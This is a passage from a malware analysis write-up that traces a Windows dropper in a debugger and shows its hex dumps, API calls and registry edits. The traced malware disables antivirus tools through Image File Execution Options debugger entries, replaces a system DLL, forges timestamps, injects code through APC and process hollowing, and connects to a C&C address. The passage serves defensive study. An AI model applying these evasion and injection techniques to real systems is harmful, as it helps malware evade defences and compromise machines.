00394600  5E 49 00 00 6A 49 00 00 76 49 00 00 84 49 00 00  ^I..jI..vI..„I..
00394610  92 49 00 00 9E 49 00 00 A6 49 00 00 B2 49 00 00  ’I..žI..¦I..²I..
00394620  BE 49 00 00 CE 49 00 00 EA 49 00 00 F8 49 00 00  ¾I..ÎI..êI..øI..
00394630  0A 4A 00 00 1A 4A 00 00 2E 4A 00 00 40 4A 00 00  .J..J...J..@J..
00394640  56 4A 00 00 6C 4A 00 00 82 4A 00 00 94 4A 00 00  VJ..lJ..‚J..”J..
00394650  A8 4A 00 00 B8 4A 00 00 C6 4A 00 00 D6 4A 00 00  ¨J..¸J..ÆJ..ÖJ..
00394660  EA 4A 00 00 FC 4A 00 00 12 4B 00 00 20 4B 00 00  êJ..üJ..K.. K..
00394670  32 4B 00 00 40 4B 00 00 56 4B 00 00 6A 4B 00 00  2K..@K..VK..jK..
00394680  76 4B 00 00 84 4B 00 00 9C 4B 00 00 B0 4B 00 00  vK..„K..œK..°K..
00394690  C4 4B 00 00 D4 4B 00 00 EA 4B 00 00 00 00 00 00  ÄK..ÔK..êK......
003946A0  08 4C 00 00 12 4C 00 00 1C 4C 00 00 26 4C 00 00  L..L..L..&L..
003946B0  2E 4C 00 00 38 4C 00 00 4E 4C 00 00 5A 4C 00 00  .L..8L..NL..ZL..
003946C0  00 00 00 00 3E 00 43 6C 6F 73 65 53 65 72 76 69  ....>.CloseServi
003946D0  63 65 48 61 6E 64 6C 65 00 00 3E 02 53 74 61 72  ceHandle..>Star
003946E0  74 53 65 72 76 69 63 65 41 00 36 00 43 68 61 6E  tServiceA.6.Chan
003946F0  67 65 53 65 72 76 69 63 65 43 6F 6E 66 69 67 41  geServiceConfigA
00394700  00 00 BC 01 51 75 65 72 79 53 65 72 76 69 63 65  ..¼QueryService
00394710  43 6F 6E 66 69 67 41 00 C2 01 51 75 65 72 79 53  ConfigA.ÂQueryS
00394720  65 72 76 69 63 65 53 74 61 74 75 73 45 78 00 00  erviceStatusEx..
00394730  AD 01 4F 70 65 6E 53 65 72 76 69 63 65 41 00 00  ­OpenServiceA..
00394740  AB 01 4F 70 65 6E 53 43 4D 61 6E 61 67 65 72 41  «OpenSCManagerA
00394750  00 00 D5 01 52 65 67 45 6E 75 6D 4B 65 79 41 00  ..ÕRegEnumKeyA.
00394760  C9 01 52 65 67 43 6C 6F 73 65 4B 65 79 00 E7 01  ÉRegCloseKey.ç
00394770  52 65 67 51 75 65 72 79 49 6E 66 6F 4B 65 79 41  RegQueryInfoKeyA
00394780  00 00 D0 01 52 65 67 44 65 6C 65 74 65 4B 65 79  ..ÐRegDeleteKey
00394790  41 00 E2 01 52 65 67 4F 70 65 6E 4B 65 79 45 78  A.âRegOpenKeyEx
003947A0  41 00 F9 01 52 65 67 53 65 74 56 61 6C 75 65 45  A.ùRegSetValueE
003947B0  78 41 00 00 CC 01 52 65 67 43 72 65 61 74 65 4B  xA..ÌRegCreateK
003947C0  65 79 41 00 28 02 53 65 74 4E 61 6D 65 64 53 65  eyA.(SetNamedSe
003947D0  63 75 72 69 74 79 49 6E 66 6F 41 00 1F 02 53 65  curityInfoA.Se
003947E0  74 45 6E 74 72 69 65 73 49 6E 41 63 6C 41 00 00  tEntriesInAclA..
003947F0  23 00 42 75 69 6C 64 45 78 70 6C 69 63 69 74 41  #.BuildExplicitA
00394800  63 63 65 73 73 57 69 74 68 4E 61 6D 65 41 00 00  ccessWithNameA..
00394810  FF 00 47 65 74 4E 61 6D 65 64 53 65 63 75 72 69  ÿ.GetNamedSecuri
00394820  74 79 49 6E 66 6F 41 00 CD 01 52 65 67 43 72 65  tyInfoA.ÍRegCre
00394830  61 74 65 4B 65 79 45 78 41 00 41 44 56 41 50 49  ateKeyExA.ADVAPI
00394840  33 32 2E 64 6C 6C 00 00 77 01 47 65 74 4D 6F 64  32.dll..wGetMod
00394850  75 6C 65 48 61 6E 64 6C 65 41 00 00 7A 02 4F 70  uleHandleA..zOp
00394860  65 6E 50 72 6F 63 65 73 73 00 8C 02 50 72 6F 63  enProcess.ŒProc
00394870  65 73 73 33 32 4E 65 78 74 00 B3 03 6C 73 74 72  ess32Next.³lstr
00394880  63 6D 70 69 41 00 2E 00 43 6C 6F 73 65 48 61 6E  cmpiA...CloseHan
00394890  64 6C 65 00 8A 02 50 72 6F 63 65 73 73 33 32 46  dle.ŠProcess32F
003948A0  69 72 73 74 00 00 6C 00 43 72 65 61 74 65 54 6F  irst..l.CreateTo
003948B0  6F 6C 68 65 6C 70 33 32 53 6E 61 70 73 68 6F 74  olhelp32Snapshot
003948C0  00 00 76 03 56 69 72 74 75 61 6C 46 72 65 65 00  ..vVirtualFree.
003948D0  3B 01 47 65 74 43 75 72 72 65 6E 74 50 72 6F 63  ;GetCurrentProc
003948E0  65 73 73 49 64 00 5A 00 43 72 65 61 74 65 4D 75  essId.Z.CreateMu
003948F0  74 65 78 41 00 00 49 00 43 72 65 61 74 65 45 76  texA..I.CreateEv
00394900  65 6E 74 41 00 00 73 03 56 69 72 74 75 61 6C 41  entA..sVirtualA
00394910  6C 6C 6F 63 00 00 87 03 57 69 64 65 43 68 61 72  lloc..‡WideChar
00394920  54 6F 4D 75 6C 74 69 42 79 74 65 00 3A 01 47 65  ToMultiByte.:Ge
00394930  74 43 75 72 72 65 6E 74 50 72 6F 63 65 73 73 00  tCurrentProcess.
00394940  94 03 57 72 69 74 65 46 69 6C 65 00 0E 03 53 65  ”WriteFile.Se
00394950  74 46 69 6C 65 50 6F 69 6E 74 65 72 00 00 B6 03  tFilePointer..¶
00394960  6C 73 74 72 63 70 79 41 00 00 A9 02 52 65 61 64  lstrcpyA..©Read
00394970  46 69 6C 65 00 00 5B 01 47 65 74 46 69 6C 65 53  File..[GetFileS
00394980  69 7A 65 00 4D 00 43 72 65 61 74 65 46 69 6C 65  ize.M.CreateFile
00394990  41 00 3D 00 43 6F 70 79 46 69 6C 65 41 00 47 03  A.=.CopyFileA.G
003949A0  53 6C 65 65 70 00 BC 03 6C 73 74 72 6C 65 6E 41  Sleep.¼lstrlenA
003949B0  00 00 AD 03 6C 73 74 72 63 61 74 41 00 00 CB 01  ..­lstrcatA..Ë
003949C0  47 65 74 54 65 6D 70 50 61 74 68 41 00 00 B2 00  GetTempPathA..².
003949D0  45 78 70 61 6E 64 45 6E 76 69 72 6F 6E 6D 65 6E  ExpandEnvironmen
003949E0  74 53 74 72 69 6E 67 73 41 00 AF 00 45 78 69 74  tStringsA.¯.Exit
003949F0  50 72 6F 63 65 73 73 00 83 00 44 65 76 69 63 65  Process.ƒ.Device
00394A00  49 6F 43 6F 6E 74 72 6F 6C 00 77 03 56 69 72 74  IoControl.wVirt
00394A10  75 61 6C 46 72 65 65 45 78 00 53 01 47 65 74 45  ualFreeEx.SGetE
00394A20  78 69 74 43 6F 64 65 54 68 72 65 61 64 00 98 01  xitCodeThread.˜
00394A30  47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00  GetProcAddress..
00394A40  6B 02 4D 75 6C 74 69 42 79 74 65 54 6F 57 69 64  kMultiByteToWid
00394A50  65 43 68 61 72 00 9D 03 57 72 69 74 65 50 72 6F  eChar.WritePro
00394A60  63 65 73 73 4D 65 6D 6F 72 79 00 00 83 03 57 61  cessMemory..ƒWa
00394A70  69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63  itForSingleObjec
00394A80  74 00 74 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63  t.tVirtualAlloc
00394A90  45 78 00 00 32 03 53 65 74 54 68 72 65 61 64 43  Ex..2SetThreadC
00394AA0  6F 6E 74 65 78 74 00 00 C5 02 52 65 73 75 6D 65  ontext..ÅResume
00394AB0  54 68 72 65 61 64 00 00 65 02 4D 6F 76 65 46 69  Thread..eMoveFi
00394AC0  6C 65 45 78 41 00 48 02 4C 6F 61 64 4C 69 62 72  leExA.HLoadLibr
00394AD0  61 72 79 41 00 00 CD 01 47 65 74 54 68 72 65 61  aryA..ÍGetThrea
00394AE0  64 43 6F 6E 74 65 78 74 00 00 AF 01 47 65 74 53  dContext..¯GetS
00394AF0  74 61 72 74 75 70 49 6E 66 6F 41 00 52 01 47 65  tartupInfoA.RGe
00394B00  74 45 78 69 74 43 6F 64 65 50 72 6F 63 65 73 73  tExitCodeProcess
00394B10  00 00 B0 00 45 78 69 74 54 68 72 65 61 64 00 00  ..°.ExitThread..
00394B20  60 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41  `.CreateProcessA
00394B30  00 00 7C 00 44 65 6C 65 74 65 46 69 6C 65 41 00  ..|.DeleteFileA.
00394B40  64 00 43 72 65 61 74 65 52 65 6D 6F 74 65 54 68  d.CreateRemoteTh
00394B50  72 65 61 64 00 00 C9 01 47 65 74 54 65 6D 70 46  read..ÉGetTempF
00394B60  69 6C 65 4E 61 6D 65 41 00 00 52 02 4C 6F 63 61  ileNameA..RLoca
00394B70  6C 46 72 65 65 00 4E 02 4C 6F 63 61 6C 41 6C 6C  lFree.NLocalAll
00394B80  6F 63 00 00 E1 01 47 65 74 56 6F 6C 75 6D 65 49  oc..áGetVolumeI
00394B90  6E 66 6F 72 6D 61 74 69 6F 6E 41 00 45 01 47 65  nformationA.EGe
00394BA0  74 44 69 73 6B 46 72 65 65 53 70 61 63 65 41 00  tDiskFreeSpaceA.
00394BB0  4F 03 54 65 72 6D 69 6E 61 74 65 50 72 6F 63 65  OTerminateProce
00394BC0  73 73 00 00 D5 01 47 65 74 54 69 63 6B 43 6F 75  ss..ÕGetTickCou
00394BD0  6E 74 00 00 56 01 47 65 74 46 69 6C 65 41 74 74  nt..VGetFileAtt
00394BE0  72 69 62 75 74 65 73 41 00 00 08 03 53 65 74 45  ributesA..SetE
00394BF0  72 72 6F 72 4D 6F 64 65 00 00 4B 45 52 4E 45 4C  rrorMode..KERNEL
00394C00  33 32 2E 64 6C 6C 00 00 97 02 6D 65 6D 63 70 79  32.dll..—memcpy
00394C10  00 00 99 02 6D 65 6D 73 65 74 00 00 B2 02 73 70  ..™memset..²sp
00394C20  72 69 6E 74 66 00 5E 02 66 72 65 65 00 00 C3 02  rintf.^free..Ã
00394C30  73 74 72 72 63 68 72 00 91 02 6D 61 6C 6C 6F 63  strrchr.‘malloc
00394C40  00 00 4D 53 56 43 52 54 2E 64 6C 6C 00 00 0F 01  ..MSVCRT.dll..
00394C50  5F 69 6E 69 74 74 65 72 6D 00 9D 00 5F 61 64 6A  _initterm.._adj
00394C60  75 73 74 5F 66 64 69 76 00 00 00 00 00 00 00 00  ust_fdiv........
00394C70  00 00 00 00 55 D0 89 4C 00 00 00 00 9C 4C 00 00  ....UЉL....œL..
00394C80  0C 00 00 00 01 00 00 00 00 00 00 00 98 4C 00 00  ...........˜L..
00394C90  9C 4C 00 00 9C 4C 00 00 48 2D 00 00 6C 7A 6D 61  œL..œL..H-..lzma
00394CA0  2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00  .dll............

Look at the strings in the list – some of them are really interesting

  • wuauserv
  • %Systemroot%\sytem32\psapi.dll
  • %Systemroot%\system32\wuauclt.exe
  • calc
  • SYSTEM\CurrentControlSet\Services\%08x..
  • Debugger
  • ntsd -d
  • MACHINE\%sSOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
  • SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
  • qutmipc.qutmdrv.hookport
  • BAPIDRV

(Let’s see if we notice one or more of those strings further down along the road)

The production of binary data/bytes continues : 0x2048 bytes are written to 00395000

image

0x256 bytes are written to 00397000 :

image

Then the code continues with a call to GetModuleHandleA("advapi32.dll").

image

This function returns the base pointer to advapi32.dll and puts it in eax. 

Next, a loop of GetProcAddress() calls are executed, looking for the function pointers (pointer to the function name string is put  ECX) to the functions in advapi32.dll, kernel32.dll and msvcrt.dll below. (Function pointers are stored at 00394000 + offset)

  • CloseServiceHandle
  • StartServiceA
  • ChangeServiceConfigA
  • QueryServiceConfigA
  • QueryServiceStatusEx
  • OpenServiceA
  • OpenSCManagerA
  • RegEnumKeyA
  • RegCloseKey
  • RegQueryInfoKeyA
  • RegDeleteKeyA
  • RegOpenKeyA
  • RegSetValueExA
  • RegCreateKeyA
  • SetNamedSecurityInfoA
  • SetEntriesInAclA
  • BuildExplicitAccessWithNameW
  • GetNamedSecurityInfoA
  • RegCreateKeyExA
  • GetModuleHandleA
  • OpenProcess
  • Process32Next
  • lstrcmpiA
  • CloseHandle
  • Process32First
  • CreateToolhelp32Snapshot
  • VirtualFree
  • GetCurrentProcessId
  • CreateMutexA
  • CreateEventA
  • VirtualAlloc
  • WideCharToMultiByte
  • GetCurrentProcess
  • WriteFile
  • SetFilePointer
  • lstrcpyA
  • ReadFile
  • GetFileSize
  • CreateFileA
  • CopyFileA
  • Sleep
  • lstrlenA
  • lstrcatA
  • GetTempPathA
  • ExpandEnvironmentStringA
  • ExitProcess
  • DeviceIoControl
  • VirtualFreeEx
  • GetExitCodeThread
  • GetProcAddress
  • MultiByteToWideChar
  • WriteProcessMemory
  • WaitForSingleObject
  • VirtualAllocEx
  • SetThreadContext
  • ResumeThread
  • MoveFileExA
  • LoadLibraryA
  • GetThreadContext
  • GetStartupInfoA
  • GetExitCodeProcess
  • ExitThread
  • CreateProcessA
  • DeleteFileA
  • CreateRemoteThread
  • GetTempFileNameA
  • LocalFree
  • LocalAlloc
  • GetVolumeInformationA
  • GetDiskFreeSpaceA
  • TerminateProcess
  • GetTickCount
  • GetFileAttributesA
  • setErrorMode
  • memcpy
  • memset
  • sprintf
  • free
  • strrchr
  • malloc
  • _initterm
  • _adjust_fdiv

image

The code that was generated in the heap a few moments ago, gets executed (0x00392D48).  I already stated that it would be likely to see code being generated/reproduced at runtime, and executed… so here it is …

image

First, pointers to the strings (which appear to be executables etc) are written to the stack (EBP+offset) :

image

Combined with the function names we saw earlier, we may see

  • services
  • drivers
  • registry edits

(typical rootkit behaviour – and since the original payload was delivered thru an exploit with system permissions, this rootkit may even be able to hide in the kernel)

Let’s continue.

Function 003911ED is called. That function runs GetModuleHandleA() on ntdll.dll. Then, some pointers are written to EBP-offset

image

and function 0x00391175 is called, which retrieves a pointer to CsrAllocateCaptureBuffer().  When 003911ED returns, EAX contains 1.  The routine continues with loading psapi.dll (LoadLibraryA("psapi")) and then runs ntdll.RtlAdjustPrivilege with parameter 0xA (SeLoadDriverPrivilege)

image

and ntdll.RtlAdjustPrivilege with parameter 0x14 (SeIncreaseBasePriorityPrivilege)

Next, it calls routine 0x00391421 :

image

  • Allocates 0x400000 bytes of RW memory at 0x008F0000
  • Creates event kernel32.CreateEventA(pSecurity = NULL, ManualReset = FALSE, InitiallySignaled = FALSE, EventName = "Safe32.Event")
  • Calls kernel32.CreateMutexA(pSecurity = NULL, InitialOwner = FALSE, MutexName = "Safe32.MutantName")
  • Calls ntdll.ZwQuerySystemInformation, which returns zero
  • Copies data to the newly allocated heap and ends with a pointer to 00901E84 in ESI
  • calls kernel32.CloseHandle on hObject 0x3C, 0x38 and
  • runs kernel32.VirtualFree() on 0x008F0000

What is weird is that I don’t seem to be able to dump memory at 008F0000 when attached to l.exe… 

When the function returns, it retrieves a function pointer and then calls function 0x003912D1 :

image

Using REP STOS, some data is cleared on the stack (replaced with zero) and then kernel32.CreateToolhelp32Snapshot() is called, with flag TH32CS_SNAPPROCESS, on processID 0

Then, kernel32.Process32First() is called, hSnapshot set to 0x38 and pProcessentry to 0012F748 (00000128). After the first run, call, the stack contains the following string:

0012F748   00000128  (..
0012F74C   00000000  ....
0012F750   00000000  ....
0012F754   00000000  ....
0012F758   00000000  ....
0012F75C   00000001  ...
0012F760   00000000  ....
0012F764   00000000  ....
0012F768   00000000  ....
0012F76C   7379535B  [Sys
0012F770   206D6574  tem
0012F774   636F7250  Proc
0012F778   5D737365  ess]
0012F77C   00000000  ....
0012F780   00000000  ....
0012F784   00000000  ....
0012F788   00000000  ....

Then an iteration/loop is created, where all running processes are listed and a string compare is executed to find out if 360tray.exe is running.

Example : comparing "[System Process]" with "360tray.exe"

image

This obviously returns -1 (EAX=FFFFFFFF), so Process32Next gets called, the name of the next process is put on the stack, and another compare is executed.

Then, the entire loop is repeated again for the following strings

  • 360tray.exe
  • avp.exe
  • rstray.exe
  • kavstart.exe
  • nod32krn.exe
  • ekrn.exe
  • egui.exe
  • kpptray.exe
  • 360sd.exe

Following these queries, function 0x00392A60 gets called. This function starts infecting the machine by manipulating the registry :

image

A new registry hive is added (if it does not exist already): HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options.  If EAX returns 1 (key does not exist), it will create it.

A key "Debugger" is added for "360tray.exe", with "Buffer" pointing to 003942EC ("ntsd -d")

image

image

The code then performs the same registry change for safeboxtray.exe, avp.exe, kavstart.exe, rstray.exe, nod32krn.exe, ekrn.exe, egui.exe, 360sd.exe, 360rp.exe, ZhuDongFangYu.exe, LiveUpdate360.exe

This registry change impacts the user mode part of CreateProcess.  Upon launching an executable, the OS looks for a registry entry for the executable and if a Debugger entry is found, it will launch the application defined as "debugger" instead of the application. More info can be found here.  It’s a nice way to redirect the execution of code to another binary. ntds is part of the Debugging Tools for Windows.

Option -d :

  -d sends all debugger output to kernel debugger via DbgPrint
     input is requested from the kernel debugger via DbgPrompt
     -d cannot be used with debugger remoting
     -d can only be used when the kernel debugger is enabled

(It’s unclear what the actual goal of these registry changes are)

Next, the string "%%Systemroot%%\system32\drivers\EfiMon.sys" is produced using a printf call :

image

Then, the environment variable is resolved and the string becomes "c:\windows\system32\drivers\EfiMon.sys", followed by a call to GetFileAttributesA on that file.  Nice way to find out of the file exists without actually opening it :)

The same routine is repeated for BAPIDRV.sys, hookport.sys, qutmdrv.sys and qutmipc.sys, 360selfprotection.sys  (basically all strings found at 00394470 and below).

The pointer to string "{B69F34DD-F0F9-42DC-9EDD-957187DA688D}" is pushed onto the stack and function 0x00392B7C is called, which will try to create registry key "Browser Helper Objects" under HKLM\Microsoft\Windows\CurrentVersion\Explorer (if it does not exist)

image

In essence, if an object is linked to it, it will facilitate the injection of potentially malicious code within Internet Explorer.  Interestingly enough the CLSID itself does not get created at this point. False positive ?  Or too early ?

ANyways, it returns to code in the tmp/dll at 100059F1. First, it clears the memory at 0x00390000 (VirtualFree), removing all of the code that was used a few moments ago.

Right after the VirtualFree, it will release the Resource at 0x1000C0B0, it does a VirtualFree on 0x00380000, removes the SEH chain record that was pointing at 0x10005F54, and then returns to 0x00402058 (back to l.exe).

Then, the function to read strings from the string array that was created in l.exe is called, retrieving pointers to a couple of strings. The pointers are then saved on the stack (EBP-offset) :

image

Next, function 0x10004EF2 is called (which is one of the exported functions in the dll : RMOC3260_7)

image

In short, the function will :

  • load sfc.dll (LoadLibraryA) and run some routines in crypt32.dll (CryptInstallAsn1Module "pfxp", "pfxn", "x509", "pkcs") <- is this an indication that the code is going to sign a file/driver/binary/… ?   We’ll see.
  • put a pointer to string "%Systemroot%\system32\" into eax
  • concatenate rmoc3260.tlb to that string, so the string becomes "%Systemroot%\system32\rmoc3260.tlb"
  • expand the environment string %systemroot%, so the string becomes "c:\windows\system32\rmoc3260.tlb"
  • copy the .tmp file to c:\windows\system32\rmoc3260.tlb (with FailIfExists flag set to FALSE)
  • run GetProcAddress on sfcIsFileProtected(), returning pointer of the function in eax
  • build another string that says "c:\windows\system32\actxprxy.dll"
  • generate a new temp filename (tempfile B) & copies actxprxy.dll to that tmp file (via function 10004D4B)
md5sum "c:\Documents and Settings\corelan\Local Settings\Temp\52.tmp"
\912b67bb8249925a5c972fc5839eae09 *c:\\Documents and Settings\\corelan\\Local Se
ttings\\Temp\\52.tmp

md5sum "c:\windows\system32\actxprxy.dll"
\912b67bb8249925a5c972fc5839eae09 *c:\\windows\\system32\\actxprxy.dll
  • Via function 100048CF, this new tmp file is opened (FILE_SHARE_READ, access GENERIC_READ/WRITE) (in essence, the copy of actxproxy.dll is opened)
0012F59C   0012FA98  ˜ú.  |FileName = "C:\DOCUME~1\corelan\LOCALS~1\Temp\4B.tmp"
0012F5A0   C0000000  ...À  |Access = GENERIC_READ|GENERIC_WRITE
0012F5A4   00000001  ...  |ShareMode = FILE_SHARE_READ
0012F5A8   00000000  ....  |pSecurity = NULL
0012F5AC   00000003  ...  |Mode = OPEN_EXISTING
0012F5B0   00000000  ....  |Attributes = 0
0012F5B4   00000000  ....  \hTemplateFile = NULL
  • filesize is retrieved (0x18000 bytes) (kernel32.GetFileSize)
  • VirtualAlloc() call executed (allocation a block of RW memory with the same size as the file) at 0x00380000
  • base of kernel32 is retrieved
  • length of string "rmoc3260.tlb" is retrieved (= 0xC)  (kernel32.lstrlenA)
  • read the file into the newly allocated memory block at 0x00380000  (kernel32.ReadFile)

image

image

  • The contents of 0x00380000 is then written to actxprxy.dll
md5sum "c:\windows\system32\actxprxy.dll"
\9f38806e51264cf7d72294b6a01808f2 *c:\\windows\\system32\\actxprxy.dll
  • Memory at 0x00380000 is freed
  • Run sfc.SfcIsFileProtected against actxprxy.dll (outcome : 1)
  • Run function sfc.ordinal nr 5
  • c:\windows\system32\actxprxy.dll gets removed
  • Copies the new temp file back to c:\windows\system32\actxprxy.dll.  (md5 : 9f38806e51264cf7d72294b6a01808f2)
  • reads the timestamp of user32.dll and writes the timestamp to rmoc3260.tlb

Rewriting a timestamp is a commonly used technique to make people think the binary is an OS binary – it is located in the system32 folder and it has the same timestamp as the other OS modules, so it must be an OS module, right ?

image

C:\WINDOWS\system32>md5sum rmoc3260.tlb
b1785cd02d83300d4b5be51ab1416c35 *rmoc3260.tlb

C:\WINDOWS\system32>dir rmoc3260.tlb 
Volume in drive C has no label. 
Volume Serial Number is F0E1-C604 
Directory of C:\WINDOWS\system32
14/04/2008  13:00            58.880 rmoc3260.tlb               
1 File(s)         58.880 bytes
  • call 0x0040178D :
    • generate string "c:\Program Files\Real\pnen3260.dll"
    • create filehandle from 0x10000000 (handle 0x28)
    • create folder "c:\Program Files\Real\"  (if it does not exist)
    • Get function pointer to GetTaskManWindow
    • Copy temp file to c:\Program Files\Real\pnen3260.dll" (md5 : b1785cd02d83300d4b5be51ab1416c35)
    • Get function pointer to RtlAdjustPrivilege
    • Copy 0x400 byes of payload from l.exe to the stack  (from 0x00401518 to 0x0012EA90)

image

image

  • run RtlAdjustPrivilege (0x14 : SeIncreaseBasePriorityPrivilege)
  • run GetTaskManWindow()  and then gets a pointer to "Documents and Settings\\Application Data"
  • call 0x10004C96 which first calls 0x1000400A (LocalAlloc, Flags = LPTR, Side = 1d0; pointer 0014C270). That function calls 0x10005B20. In that routine, data is copied from 1000B120 to 0014C2E0 (88 bytes)… So it looks like it’s building another payload  / copying functions from the dll

image

Next, a loop at 10004089 completes the payload (strings, pointers to strings) around 0014Cxxx.

image

This loop eventually returns back to 10004074.  At that point, a loop is started (0x160 iterations) which reads strings from the payload around 0014C3xx.

image

Pointers to those strings are written to an array a little bit above the strings themselves :

image

Those strings are : 

  • %APPDATA%\Tencent
  • Accept: */*
  • _!RKU#PNP#090921!_
  • http://
  • Software\RealOne
  • RVClass
  • htmlfile\shell\open\command
  • wininet.dll
  • .7z
  • dnsapi.dll
  • %s%s
  • iphlpapi.dll
  • Plugin2a.Section
  • Class
  • mswsock.dll
  • Session.SessionAcl.%d
  • ws2_32.dll
  • .exe
  • %ProgramFiles%\Real
  • ra32clv.dll
  • sipr3260.dll
  • pngu3267.dll
  • shlwapi.dll
  • user32.dll
  • DialogBoxParam

and then the function returns to 10004CA2.

Now function 0x10002DA2 is called, retrieving pointer to string "kernel32.dll", and returns to 10004CB5, where the baseaddress of kernel32.dll is retrieved first, and then 10004198 is called. In that function, a seh record is inserted (by function 10005F00), pointing the handler to 10005F54.

When that function returns, function 0x10002D8B is called, making EAX point at kernel32.base + F0  (basically pointing to string "PE" in kernel32.dll), and returns.

Next, a loop between 0x100041DD and 1000422E is executed, which gets function names from kernel32, and retrieves the pointer to function (using a hash, calculated at 0x10004177) : kernel32.QueueUserAPC.

Next, the SEH record is removed again (the one that was inserted before retrieving the function name), and the function returns back to 10004CC3.  A little bit further, 10004A6E gets called, where user32.GetTaskmanWindow() gets called, and a pointer to "Documents and Settings\\Application Data" is returned in eax.  Then, GetWindowThreadProcessID() with the following parameters :

0012EA44   0001007E  ~..  |hWnd = 0001007E ('Running Applications',class='MSTaskSwWClass',parent=00010078)
0012EA48   0012EA4C  Lê.  \pProcessID = 0012EA4C

This returns 0x689 in eax, and then the function returns to 10004CD5.

At 10004CD5, kernel32.OpenProcess() is called on ProcessID 650, returning 0x7C in eax.  Then kernel32.VirtualAllocEx is called, with the following arguments:

0012EA44   0000007C  |...  |Arg1 = 0000007C
0012EA48   00000000  ....  |Arg2 = 00000000
0012EA4C   00001000  ...  |Arg3 = 00001000
0012EA50   00001000  ...  |Arg4 = 00001000
0012EA54   00000040  @...  \Arg5 = 00000040

The function returns pointer 00990000.  Next, kernel32.WriteProcessMemory() is called, with the following arguments :

0012EA44   0000007C  |...  |hProcess = 0000007C (window)
0012EA48   00990000  ..™.  |Address = 990000
0012EA4C   0012EA90  ê.  |Buffer = 0012EA90
0012EA50   00001000  ...  |BytesToWrite = 1000 (4096.)
0012EA54   0012EA78  xê.  \pBytesWritten = 0012EA78

Then, function 10004A93 is called, which first patches some stuff on the stack and then runs CreateToolhelp32Snapshot() with flags TH32CS_SNAPTHREAD, on ProcessID 0, returning 0x80 in eax.

Then, a loop is initiated (starting with Thread32First, and looping with Thread32Next (on hSnapshot 0x80, and pThreadEntry 0012EA24)),  until thread 650 is found.

Then, the thread is opened OpenThread(001F03FF,00000000,0×654), returning 0x84 in eax.  This is followed by call to kernel32.QueueUserAPC (with eax pointing at 0x84) and then handle 0x84 is closed.

As a result, a new executable module gets loaded : c:\windows\system32\divxdec.dll, at base 00390000

C:\WINDOWS\system32>md5sum divxdec.dll
1f913d37379cc0d3a8ab069f0e4df19a *divxdec.dll

Function returns, closes handle 7c and function 10002D95 is called, which runs LocalFree() on 0014C298 and then returns.

At 10004D48, the function leaves the dll/tmp code, and returns to 004018CA (l.exe), which returns to 0040215D.

At 0040218C, kernel.FreeLibrary is called (on 10000000), unloading the tmp/flle file. This is followed by a call to DeleteFileA() of the tmp file, removing the file as well.

 

Time to take a deep breath.

We have seen the code use anti-debugger tricks, SEH structures to redirect flow & maybe fool automated detection tools. The code loaded a tmp file as  dll, reproduced code in heap (taking pieces from various locations to do so), executed new code, created threads, unloaded the dll and removed tmp files again. 

The code has dropped files, edited registry, removed files.   All of that happened within one blink of the eye.  Based on the various routines that we used to find function pointers, base addresses etc, we might even suspect that this was written by various people, or pieces of code re-used from other similar malware, or maybe the developer did this on purpose.

Anyways… I think most of the preparation of the malware is done now, and the code is ready to infect… or not ?

 

Let’s continue…

We are at 00401D90.  Here, we observe a call to MSVCRT.memset(s=0012FB50, c=00, n = 0x44), clearing 0x44 bytes on the stack at 0012FB50. Then a memcpy is executed (copying 0x400 bytes from 0012E884 to 00401000), overwriting a big chunck of the .text section in the l.exe file. At first sight, this doesn’t really change the code.

Then, GetModuleFileNameA is run (PathBuffer = 0012EC90, BufSize 0x104), a pointer to strings "calc" is fetched from the string array (at 00333A19), and CreateProcess is called (at 00401E05):

image

StartupInfo is at 0012FB50 and pProcessInfo is at 0012FB98.  The CreateProcess call will load library c:\windows\system32\Apphelp.dll

C:\WINDOWS\system32>md5sum apphelp.dll
cf492d7e9af1c628b3536d20ef6f5cc7 *apphelp.dll

C:\WINDOWS\system32>dir apphelp.dll
 Volume in drive C has no label.
 Volume Serial Number is F0E1-C604

 Directory of C:\WINDOWS\system32

14/04/2008  13:00           125.952 apphelp.dll
               1 File(s)        125.952 bytes
               0 Dir(s)  10.022.322.176 bytes free

ProcessExplorer shows the new calc.exe process :

image

Then, at 00401E44, VirtualAlloc() is executed, returning pointer 000A0000, and then some data on the stack (around 0012F8A8) is cleared(160 bytes), followed by a call to WriteProcessMemory(), which will write 0x10000 bytes from 0012E884 to the newly allocated heap at 0xA0000.

GetThreadContext() is then called (hThread = 0x90, pContext = 0012F884), writing some bytes to the stack in that area (0012F884).  Then, some of those bytes are altered, and next SetThreadContext() (hThread = 0x90, pContext = 0012F884) is called (patching the thread). Finally, ResumeThread on 0x90 is run, followed by ExitProcess(0), terminating l.exe

ProcessExplorer also indicates that calc.exe terminated.

But the game isn’t over. 

A few moments later, netstat reveals that something is trying to connect to hosts on the same network range (class B so it seems) and tries to connect to ports 445 and 139.  So it looks like it’s now trying to connect (and maybe infect) other machines on the same network… but not only locally… it also starts scanning public IP addresses in the same network.

So maybe calc.exe was spawned & told to do all the really dirty work ?

After rebooting the box, the box seems to connect to "C&C / botmaster" (?) servers

  TCP    10.0.2.15:1026         173.244.193.146:80     ESTABLISHED
  TCP    10.0.2.15:1029         173.244.193.146:443    ESTABLISHED

and proceeds with the scanning :

C:\WINDOWS>netstat -na

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    10.0.2.15:139          0.0.0.0:0              LISTENING
  TCP    10.0.2.15:1026         173.244.193.146:80     ESTABLISHED
  TCP    10.0.2.15:1039         10.0.2.2:135           ESTABLISHED
  TCP    10.0.2.15:1040         10.0.2.3:135           ESTABLISHED
  TCP    10.0.2.15:1041         10.0.2.4:135           ESTABLISHED
  TCP    10.0.2.15:1062         10.0.2.3:135           ESTABLISHED
  TCP    10.0.2.15:1084         10.0.2.2:135           ESTABLISHED
  TCP    10.0.2.15:1105         10.0.2.4:135           ESTABLISHED
  TCP    10.0.2.15:1106         10.0.2.2:135           CLOSE_WAIT
  TCP    10.0.2.15:1107         10.0.2.3:135           CLOSE_WAIT
